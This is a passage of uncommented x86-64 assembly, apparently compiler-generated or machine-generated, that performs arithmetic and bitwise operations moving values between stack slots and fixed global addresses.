mov word [0x140113034], ax
mov rax, qword [rsp + 0x5a00]
movzx eax, word [rax]
mov word [rsp + 0xa34], ax
mov rax, qword [rsp + 0x5a00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa10]
add eax, ecx
mov word [rsp + 0xa2c], ax
movsx eax, byte [rsp + 0x70]
movsx ecx, byte [0x140113036]
add eax, ecx
mov rcx, qword [rsp + 0x4f40]
mov byte [rcx], al
mov rax, qword [rsp + 0x5bc0]
mov qword [rsp + 0x5df8], rax
mov rax, qword [rsp + 0x5b78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5410]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5b40], rax
mov rax, qword [rsp + 0x5198]
mov eax, dword [rax]
mov dword [rsp + 0x2ce0], eax
mov eax, dword [rsp + 0x2bc8]
mov ecx, dword [rsp + 0x2c4c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c9c], eax
movzx eax, word [rsp + 0x9f4]
movzx ecx, word [rsp + 0xa08]
add eax, ecx
mov rcx, qword [rsp + 0x4bc0]
mov word [rcx], ax
lea rax, [rsp + 0x89]
mov qword [0x140114398], rax
lea rax, [rsp + 0x63]
mov qword [rsp + 0x5e00], rax
movzx eax, byte [rsp + 0x44]
movzx ecx, byte [rsp + 0x92]
add eax, ecx
mov rcx, qword [rsp + 0x58b8]
mov byte [rcx], al
lea rax, [rsp + 0x8d0]
mov qword [rsp + 0x5e08], rax
mov rax, qword [rsp + 0x54a8]
mov rax, qword [rax]
mov rcx, qword [0x140114160]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ea8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5010]
mov rcx, qword [rsp + 0x5a78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4f00], rax
mov rax, qword [rsp + 0x5168]
mov eax, dword [rax]
mov dword [rsp + 0x2ce4], eax
mov eax, dword [rsp + 0x2b28]
mov rcx, qword [rsp + 0x5b18]
mov qword [rsp + 0x5e10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5e10]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x5948]
mov dword [rcx], eax
lea rax, [rsp + 0x92c]
mov qword [rsp + 0x5e18], rax
mov rax, qword [rsp + 0x5050]
movzx eax, byte [rax]
mov byte [0x140114214], al
mov rax, qword [rsp + 0x5470]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7e]
xor eax, ecx
mov byte [rsp + 0xae], al
lea rax, [rsp + 0x8c0]
mov qword [rsp + 0x5e20], rax
movsx eax, word [rsp + 0x9d4]
mov rcx, qword [rsp + 0x5ad8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5608]
mov word [rcx], ax
movsx eax, word [rsp + 0x960]
movsx ecx, word [rsp + 0x88c]
or eax, ecx
mov word [rsp + 0x994], ax
mov rax, qword [rsp + 0x5cc8]
mov qword [rsp + 0x5e28], rax
mov rax, qword [rsp + 0x5c90]
mov rcx, qword [rsp + 0x5460]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2cd4], eax
mov rax, qword [rsp + 0x5108]
mov eax, dword [rax]
mov dword [rsp + 0x2ce8], eax
mov rax, qword [rsp + 0x5d68]
mov rax, qword [rax]
imul rax, qword [rsp + 0x5628]
mov rcx, qword [rsp + 0x5180]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5b48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x85c]
add eax, ecx
mov word [0x140114370], ax
mov rax, qword [0x1401141d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x63]
add eax, ecx
mov rcx, qword [rsp + 0x4fe0]
mov byte [rcx], al
lea rax, [rsp + 0x9a]
mov qword [rsp + 0x5e30], rax
movzx eax, word [rsp + 0x94c]
movzx ecx, word [rsp + 0x908]
sub eax, ecx
mov word [rsp + 0x9e0], ax
mov rax, qword [0x1401141f0]
movzx eax, byte [rax]
mov byte [rsp + 0xbf], al
mov rax, qword [rsp + 0x56b8]
mov ecx, dword [rsp + 0x2be4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5348]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2c68]
mov ecx, dword [rsp + 0x2b68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ae4], eax
lea rax, [0x140114160]
mov qword [rsp + 0x5e38], rax
mov rax, qword [rsp + 0x59f0]
mov rcx, qword [rsp + 0x56c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4fd0], rax
movsx eax, byte [rsp + 0xb8]
movsx ecx, byte [rsp + 0x77]
sub eax, ecx
mov byte [0x14011301a], al
lea rax, [rsp + 0xb6]
mov qword [rsp + 0x5e40], rax
mov rax, qword [rsp + 0x53d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5338]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x858], ax
movsx eax, byte [rsp + 0x8e]
mov rcx, qword [0x1401142f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x68], al
movzx eax, word [rsp + 0x8c4]
mov word [rsp + 0xa38], ax
mov rax, qword [rsp + 0x5028]
mov ecx, dword [rsp + 0x2c64]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2a98], eax
mov eax, dword [rsp + 0x2b24]
mov dword [rsp + 0x2cec], eax
mov rax, qword [rsp + 0x5d50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5818]
mov qword [rsp + 0x5e48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5e48]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x5b98]
mov qword [rcx], rax
lea rax, [rsp + 0x57e0]
mov qword [rsp + 0x5e50], rax
lea rax, [rsp + 0x9b8]
mov qword [0x1401143a0], rax
mov rax, qword [rsp + 0x5148]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x90c]
or eax, ecx
mov rcx, qword [rsp + 0x5148]
mov word [rcx], ax
movzx eax, byte [rsp + 0x9e]
mov rcx, qword [rsp + 0x5d48]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5980]
mov byte [rcx], al
movzx eax, word [rsp + 0x900]
mov word [rsp + 0xa3c], ax
movsx eax, byte [rsp + 0x6e]
mov rcx, qword [rsp + 0x58e8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5828]
mov byte [rcx], al
mov eax, dword [rsp + 0x2b7c]
mov dword [rsp + 0x2cf0], eax
mov rax, qword [rsp + 0x5838]
mov rcx, qword [rsp + 0x4bf8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5df0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5918]
mov rcx, qword [rsp + 0x5370]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4f38]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2c58]
mov dword [rsp + 0x2cf4], eax
mov rax, qword [rsp + 0x51e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5458]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401141f8]
mov byte [rcx], al
movzx eax, word [0x140113050]
mov rcx, qword [rsp + 0x51c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x988], ax
lea rax, [rsp + 0x8c4]
mov qword [rsp + 0x5e58], rax
movsx eax, byte [rsp + 0x56]
mov rcx, qword [rsp + 0x5a80]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x71], al
movsx eax, byte [0x14011301f]
mov rcx, qword [rsp + 0x5d88]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5420]
mov byte [rcx], al
lea rax, [rsp + 0x2a3c]
mov qword [rsp + 0x5e60], rax
mov rax, qword [rsp + 0x5128]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5ac0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x55d0], rax
mov rax, qword [rsp + 0x5e50]
mov rax, qword [rax]
mov qword [rsp + 0x5e68], rax
mov rax, qword [rsp + 0x5c28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bb0], eax
lea rax, [rsp + 0x7e]
mov qword [0x1401143a8], rax
lea rax, [0x140114230]
mov qword [rsp + 0x5e70], rax
movzx eax, byte [rsp + 0x7a]
mov rcx, qword [rsp + 0x5458]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x5230]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa4]
xor eax, ecx
mov byte [rsp + 0x6e], al
mov rax, qword [rsp + 0x5ad8]
movzx eax, word [rax]
mov word [rsp + 0xa40], ax
mov eax, dword [rsp + 0x2a4c]
movzx ecx, al
mov eax, dword [rsp + 0x2ba0]
sar eax, cl
mov dword [rsp + 0x2c3c], eax
lea rax, [rsp + 0x2ce4]
mov qword [rsp + 0x5e78], rax
mov rax, qword [rsp + 0x5910]
mov rcx, qword [rsp + 0x4ea8]
mov qword [rsp + 0x5e80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5e80]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4c58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5340]
mov rcx, qword [rsp + 0x5818]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5650], rax
mov rax, qword [rsp + 0x5780]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5848]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140113044], ax
lea rax, [rsp + 0x45]
mov qword [rsp + 0x5e88], rax
movsx eax, byte [rsp + 0x3d]
movsx ecx, byte [rsp + 0x51]
add eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x5b28]
movzx eax, word [rax]
mov word [rsp + 0xa44], ax
mov rax, qword [0x140114188]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4fa8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8f4], ax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x5748]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x56c0], rax
mov rax, qword [rsp + 0x5348]
mov eax, dword [rax]
mov dword [rsp + 0x2cf8], eax
mov rax, qword [rsp + 0x5180]
mov rcx, qword [rsp + 0x50e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5098]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d58]
mov eax, dword [rax]
mov dword [rsp + 0x2cfc], eax
movzx eax, word [rsp + 0x8f8]
movzx ecx, word [rsp + 0xa10]
sub eax, ecx
mov word [0x140113080], ax
mov rax, qword [rsp + 0x54b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x98c]
sub eax, ecx
mov word [rsp + 0x8c4], ax
mov rax, qword [rsp + 0x5070]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5130]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5bb8]
mov word [rcx], ax
lea rax, [rsp + 0x6a]
mov qword [rsp + 0x5e90], rax
mov rax, qword [rsp + 0x55a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x58e8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2b2c]
mov dword [rsp + 0x2d00], eax
mov rax, qword [rsp + 0x5870]
mov rcx, qword [rsp + 0x4e70]
mov qword [rsp + 0x5e98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5e98]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x5218], rax
mov rax, qword [rsp + 0x5548]
mov rax, qword [rax]
mov qword [rsp + 0x5ea0], rax
mov eax, dword [rsp + 0x2ca0]
mov ecx, dword [rsp + 0x2958]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x29d8], eax
mov rax, qword [rsp + 0x51c8]
movzx eax, word [rax]
movzx ecx, word [0x140113038]
sar eax, cl
mov word [rsp + 0x894], ax
movsx eax, byte [rsp + 0x3f]
movsx ecx, byte [rsp + 0xa2]
or eax, ecx
mov byte [0x14011303f], al
mov rax, qword [rsp + 0x5360]
movzx eax, byte [rax]
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0x4eb8]
movsx eax, word [rax]
movsx ecx, word [0x140114318]
sub eax, ecx
mov word [rsp + 0x8e0], ax
lea rax, [rsp + 0x9c]
mov qword [rsp + 0x5ea8], rax
mov rax, qword [rsp + 0x52a8]
mov rcx, qword [rsp + 0x4e78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x59a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5c50]
mov ecx, dword [rsp + 0x2c88]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5af8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x58b0]
mov qword [rsp + 0x5eb0], rax
mov rax, qword [rsp + 0x57b8]
mov ecx, dword [rsp + 0x2ae0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5958]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5888]
movzx eax, word [rax]
mov word [rsp + 0xa48], ax
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x5d88]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140114214], al
movsx eax, word [rsp + 0x8d0]
movsx ecx, word [rsp + 0x8c4]
sub eax, ecx
mov rcx, qword [rsp + 0x5d60]
mov word [rcx], ax
mov rax, qword [0x140114290]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x894]
sub eax, ecx
mov word [rsp + 0x9fc], ax
mov rax, qword [rsp + 0x5620]
movzx eax, word [rax]
mov word [rsp + 0xa4c], ax
mov rax, qword [rsp + 0x52f0]
mov rcx, qword [rsp + 0x5580]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x57c8], rax
lea rax, [0x140113008]
mov qword [rsp + 0x5eb8], rax
mov rax, qword [rsp + 0x5150]
mov ecx, dword [rsp + 0x2c38]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5b60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c60]
mov rcx, qword [rsp + 0x5948]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5390]
mov dword [rcx], eax
mov rax, qword [rsp + 0x50f8]
movzx eax, byte [rax]
mov byte [rsp + 0xc1], al
lea rax, [rsp + 0x55]
mov qword [0x1401143b0], rax
mov rax, qword [rsp + 0x5cb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5700]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x57b0]
mov byte [rcx], al
movzx eax, word [rsp + 0x864]
mov word [rsp + 0xa50], ax
movzx eax, byte [0x1401141ba]
movzx ecx, byte [rsp + 0x45]
sar eax, cl
mov byte [rsp + 0xbf], al
lea rax, [rsp + 0x2c40]
mov qword [rsp + 0x5ec0], rax
mov rax, qword [rsp + 0x5a38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5718]
mov qword [rsp + 0x5ec8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5ec8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4f78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x52f8]
mov rcx, qword [rsp + 0x4b20]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c58]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b4c]
mov dword [rsp + 0x2d04], eax
mov rax, qword [rsp + 0x5308]
movzx eax, byte [rax]
movzx ecx, byte [0x140113003]
xor eax, ecx
mov byte [rsp + 0xad], al
mov rax, qword [rsp + 0x5978]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5e20]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401141a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e58]
movzx eax, word [rax]
mov word [rsp + 0xa54], ax
movsx eax, byte [rsp + 0x3e]
mov rcx, qword [rsp + 0x56e0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3b], al
movzx eax, word [rsp + 0x908]
movzx ecx, word [rsp + 0x85c]
add eax, ecx
mov word [rsp + 0x954], ax
lea rax, [rsp + 0x72]
mov qword [rsp + 0x5ed0], rax
mov eax, dword [rsp + 0x2ba0]
mov ecx, dword [rsp + 0x2a20]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ce8], eax
mov rax, qword [rsp + 0x4ff0]
mov rax, qword [rax]
mov qword [rsp + 0x5ed8], rax
mov eax, dword [rsp + 0x2ba8]
mov ecx, dword [rsp + 0x2cf8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b3c], eax
mov rax, qword [rsp + 0x5930]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5c68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x52f8], rax
mov rax, qword [rsp + 0x5070]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x900]
sub eax, ecx
mov word [0x140113084], ax
lea rax, [rsp + 0x840]
mov qword [rsp + 0x5ee0], rax
mov rax, qword [0x140114298]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x50f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5e30]
mov byte [rcx], al
lea rax, [rsp + 0x95c]
mov qword [rsp + 0x5ee8], rax
mov rax, qword [rsp + 0x5e40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x52d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x9c], al
mov eax, dword [rsp + 0x2b0c]
mov dword [rsp + 0x2d08], eax
mov rax, qword [rsp + 0x5370]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5548]
mov qword [rsp + 0x5ef0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5ef0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x5928], rax
mov rax, qword [rsp + 0x59e8]
mov rcx, qword [rsp + 0x5760]
mov qword [rsp + 0x5ef8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5ef8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x58c0], rax
lea rax, [rsp + 0x2b98]
mov qword [rsp + 0x5f00], rax
mov rax, qword [rsp + 0x5720]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5058]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x140114188]
mov word [rcx], ax
movsx eax, byte [rsp + 0x38]
mov rcx, qword [rsp + 0x58d0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5420]
mov byte [rcx], al
mov rax, qword [rsp + 0x5e88]
movzx eax, byte [rax]
mov byte [rsp + 0xc2], al
mov rax, qword [rsp + 0x5130]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5b30]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x8b8], ax
mov rax, qword [rsp + 0x5608]
movsx eax, word [rax]
movsx ecx, word [0x1401142e0]
add eax, ecx
mov word [rsp + 0x840], ax
lea rax, [rsp + 0x2b38]
mov qword [rsp + 0x5f08], rax
mov eax, dword [rsp + 0x2ae8]
mov ecx, dword [rsp + 0x2c2c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x57c0]
mov qword [rsp + 0x5f10], rax
mov rax, qword [rsp + 0x4da0]
mov rcx, qword [rsp + 0x5808]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x50b0]
mov qword [rcx], rax
lea rax, [rsp + 0x974]
mov qword [0x1401143b8], rax
movsx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xbc], al
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x5f18], rax
movsx eax, word [rsp + 0x978]
movsx ecx, word [rsp + 0x88c]
and eax, ecx
mov word [rsp + 0x9cc], ax
lea rax, [rsp + 0x82]
mov qword [rsp + 0x5f20], rax
mov rax, qword [rsp + 0x50f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4fb0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5480]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5280]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bfc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b28], eax
mov rax, qword [rsp + 0x56d0]
mov qword [rsp + 0x5f28], rax
mov rax, qword [rsp + 0x5cd0]
mov rcx, qword [rsp + 0x5790]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4fb8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x9a0]
movsx ecx, word [rsp + 0xa44]
sub eax, ecx
mov word [0x1401141b8], ax
movzx eax, byte [rsp + 0x32]
mov byte [rsp + 0xc3], al
mov rax, qword [0x1401143b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x954]
shl eax, cl
mov rcx, qword [rsp + 0x5b30]
mov word [rcx], ax
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x5f30], rax
mov rax, qword [rsp + 0x5e08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5508]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x868], ax
mov rax, qword [rsp + 0x5060]
mov ecx, dword [rsp + 0x2c58]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x5bd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5f10]
mov qword [rsp + 0x5f38], rax
mov rax, qword [rsp + 0x5628]
mov rcx, qword [rsp + 0x4da0]
mov qword [rsp + 0x5f40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5f40]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x52a8], rax
mov eax, dword [rsp + 0x2bec]
mov dword [rsp + 0x2d0c], eax
lea rax, [rsp + 0x34]
mov qword [0x1401143c0], rax
movzx eax, word [rsp + 0x974]
movzx ecx, word [rsp + 0x880]
and eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
movsx eax, byte [rsp + 0x3e]
movsx ecx, byte [rsp + 0x47]
sub eax, ecx
mov byte [rsp + 0xa2], al
lea rax, [rsp + 0x71]
mov qword [rsp + 0x5f48], rax
mov rax, qword [rsp + 0x5b50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5508]
mov word [rcx], ax
mov rax, qword [rsp + 0x5b78]
mov rax, qword [rax]
mov qword [rsp + 0x5f50], rax
mov rax, qword [rsp + 0x5bd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d00]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5108]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5300]
mov rcx, qword [rsp + 0x53b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5370]
mov qword [rcx], rax
lea rax, [rsp + 0x2958]
mov qword [rsp + 0x5f58], rax
movzx eax, word [rsp + 0x894]
movzx ecx, word [rsp + 0x880]
add eax, ecx
mov word [0x140114220], ax
movzx eax, byte [rsp + 0x44]
mov rcx, qword [rsp + 0x5ea8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xad], al
lea rax, [0x14011303e]
mov qword [rsp + 0x5f60], rax
movsx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x5e30]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6b], al
lea rax, [rsp + 0x920]
mov qword [rsp + 0x5f68], rax
mov rax, qword [rsp + 0x59a0]
mov rcx, qword [rsp + 0x5860]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5bc0], rax
mov eax, dword [rsp + 0x2c58]
mov ecx, dword [rsp + 0x2b10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2be0], eax
lea rax, [rsp + 0x2c80]
mov qword [rsp + 0x5f70], rax
mov rax, qword [rsp + 0x4fa0]
mov rcx, qword [0x140114160]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ea8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xa3c]
mov word [0x1401143c8], ax
lea rax, [rsp + 0x67]
mov qword [rsp + 0x5f78], rax
movzx eax, byte [rsp + 0x8c]
movzx ecx, byte [rsp + 0x86]
sar eax, cl
mov rcx, qword [rsp + 0x5878]
mov byte [rcx], al
mov rax, qword [rsp + 0x5298]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x994]
shl eax, cl
mov word [rsp + 0x96c], ax
lea rax, [rsp + 0x9fc]
mov qword [rsp + 0x5f80], rax
mov eax, dword [rsp + 0x2b04]
mov ecx, dword [rsp + 0x2d08]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ce0], eax
mov rax, qword [rsp + 0x5bc0]
mov qword [rsp + 0x5f88], rax
mov rax, qword [rsp + 0x5428]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c38]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2af4], eax
mov rax, qword [rsp + 0x5c10]
mov rcx, qword [rsp + 0x5730]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x59a8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x98c]
mov word [rsp + 0xa58], ax
mov rax, qword [rsp + 0x5810]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5dc0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140113020], ax
mov rax, qword [0x1401143b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5068]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x50c8]
mov byte [rcx], al
lea rax, [rsp + 0x35]
mov qword [rsp + 0x5f90], rax
mov rax, qword [rsp + 0x5b50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x51c0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5888]
mov word [rcx], ax
mov rax, qword [rsp + 0x5570]
mov rcx, qword [rsp + 0x5ab8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b00], eax
lea rax, [rsp + 0x57c0]
mov qword [rsp + 0x5f98], rax
mov rax, qword [rsp + 0x55f0]
mov rcx, qword [rsp + 0x55a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2cec], eax
lea rax, [0x140114160]
mov qword [rsp + 0x5fa0], rax
mov rax, qword [rsp + 0x52d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x63]
and eax, ecx
mov byte [rsp + 0xa8], al
movzx eax, word [rsp + 0x988]
movzx ecx, word [rsp + 0xa28]
sub eax, ecx
mov rcx, qword [0x140114240]
mov word [rcx], ax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x5fa8], rax
mov rax, qword [rsp + 0x5070]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9b4]
sar eax, cl
mov word [rsp + 0x99c], ax
mov rax, qword [rsp + 0x5f90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5700]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x54], al
lea rax, [rsp + 0x2b70]
mov qword [rsp + 0x5fb0], rax
mov rax, qword [rsp + 0x5a40]
mov ecx, dword [rsp + 0x2b44]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x5bd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x58b0]
mov qword [rsp + 0x5fb8], rax
mov rax, qword [rsp + 0x5350]
mov rcx, qword [0x140114160]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5a88]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x5b]
mov rcx, qword [rsp + 0x5740]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5f60]
mov byte [rcx], al
lea rax, [rsp + 0x39]
mov qword [0x1401143d0], rax
lea rax, [rsp + 0x850]
mov qword [rsp + 0x5fc0], rax
movsx eax, word [rsp + 0xa44]
movsx ecx, word [rsp + 0xa24]
and eax, ecx
mov word [rsp + 0x914], ax
lea rax, [rsp + 0xa4]
mov qword [rsp + 0x5fc8], rax
mov rax, qword [rsp + 0x5f00]
mov ecx, dword [rsp + 0x2b64]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2bc8], eax
mov rax, qword [rsp + 0x5938]
mov rcx, qword [rsp + 0x5e60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b10], eax
lea rax, [rsp + 0x5910]
mov qword [rsp + 0x5fd0], rax
mov rax, qword [rsp + 0x5860]
mov rcx, qword [rsp + 0x59f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5a70], rax
mov rax, qword [rsp + 0x5630]
movzx eax, word [rax]
mov word [rsp + 0xa5c], ax
movzx eax, word [rsp + 0xa10]
movzx ecx, word [rsp + 0x918]
add eax, ecx
mov word [0x14011305c], ax
mov rax, qword [rsp + 0x5490]
